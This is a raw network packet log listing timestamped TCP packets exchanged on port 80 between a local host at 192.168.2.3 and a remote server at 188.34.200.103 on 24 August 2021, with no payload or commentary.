Aug 24, 2021 14:01:44.099242926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099263906 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099266052 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099287987 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099291086 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099309921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099323034 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099334002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099355936 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099359989 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099384069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099389076 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099406958 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099411011 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099428892 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099436998 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099452019 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099461079 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099474907 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099486113 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099497080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099519014 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099519968 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099545002 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099553108 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099569082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099585056 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099587917 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099606991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099625111 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099630117 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.099658966 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.099780083 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.119796991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.119851112 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.119900942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.119921923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.119962931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.119997978 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120021105 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120028973 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120043039 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120066881 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120081902 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120086908 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120090008 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120090961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120114088 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120117903 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120136023 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120157003 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120162010 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120177984 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120194912 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120199919 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120222092 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120265961 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120276928 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120552063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120585918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120624065 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120646000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120704889 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120717049 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120719910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120719910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120743036 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120763063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120805979 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120857000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120862007 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120884895 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120929956 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120956898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120964050 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.120968103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.120992899 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121015072 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121064901 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121083975 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121090889 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121099949 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121131897 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121208906 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121215105 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121217966 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121233940 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121234894 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121264935 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121321917 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121337891 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121357918 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121397018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121433973 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121443033 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121447086 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121484041 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121521950 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121522903 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121543884 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121578932 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121602058 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121627092 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121639013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121664047 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121687889 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121711016 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121731043 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121751070 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121752977 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121758938 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121762037 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121776104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121797085 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121818066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121818066 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121822119 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121824026 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121839046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121862888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121865988 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121885061 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121906042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121907949 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121927977 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121936083 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121949911 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121972084 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.121984005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.121993065 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122014046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122028112 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122039080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122056007 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122061968 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122083902 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122085094 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122104883 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122124910 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122126102 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122148037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122164965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122169971 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122189999 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122195005 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122215033 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122236967 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122237921 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122257948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122278929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122282982 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122299910 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122311115 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122322083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122344017 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122350931 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122364998 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122389078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122392893 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122411013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122421980 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122431993 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122453928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122462034 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122474909 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122497082 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122503996 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122518063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122534990 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122539997 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122564077 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122565985 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122586012 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122606993 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122607946 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122628927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122648001 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122651100 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122672081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122690916 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122694016 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122714043 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.122736931 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.122761011 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.140639067 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140758038 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140794992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140814066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140834093 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140852928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140872955 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140878916 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.140891075 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140913963 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140959978 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.140964985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140986919 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.140988111 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.141011000 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.141033888 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.141047001 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.141055107 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.141057968 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.141077042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.141093969 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.141102076 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.141130924 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.141197920 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.142894983 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.142929077 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.142956972 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.142991066 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143037081 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143040895 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143083096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143116951 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143125057 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143126965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143157959 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143199921 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143232107 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143240929 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143285990 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143289089 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143290997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143326044 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143352032 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143357992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143379927 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143388987 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143409014 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143414974 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143440962 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143445015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143465042 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143490076 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143492937 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143532038 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143543959 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143554926 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143584013 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143593073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143610001 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143635988 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143637896 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143675089 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143686056 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143723965 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143739939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143784046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143785954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143825054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143830061 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143857956 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143871069 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143891096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143912077 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143913031 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143934011 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143942118 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143954992 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.143968105 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.143979073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144001007 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144002914 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144022942 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144042969 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144045115 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144067049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144071102 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144088030 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144109964 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144119978 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144131899 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144157887 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144161940 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144181013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144192934 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144202948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144224882 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144227028 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144246101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144268036 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144269943 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144288063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144305944 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144310951 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144335985 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144336939 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144357920 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144373894 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144378901 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144401073 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144409895 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144422054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144443989 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144450903 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144465923 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144483089 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144488096 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144510031 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144512892 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144536018 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144551039 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144557953 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144578934 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144596100 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144609928 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144632101 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144633055 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144654036 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144678116 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144685030 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144697905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144717932 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144720078 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144742966 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144750118 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144767046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144789934 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144788980 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144810915 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144831896 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144834042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144855976 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144864082 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144877911 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144901991 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144911051 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144925117 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144948959 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:44.144952059 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:44.144973040 CEST	80	49728	188.34.200.103	192.168.2.3
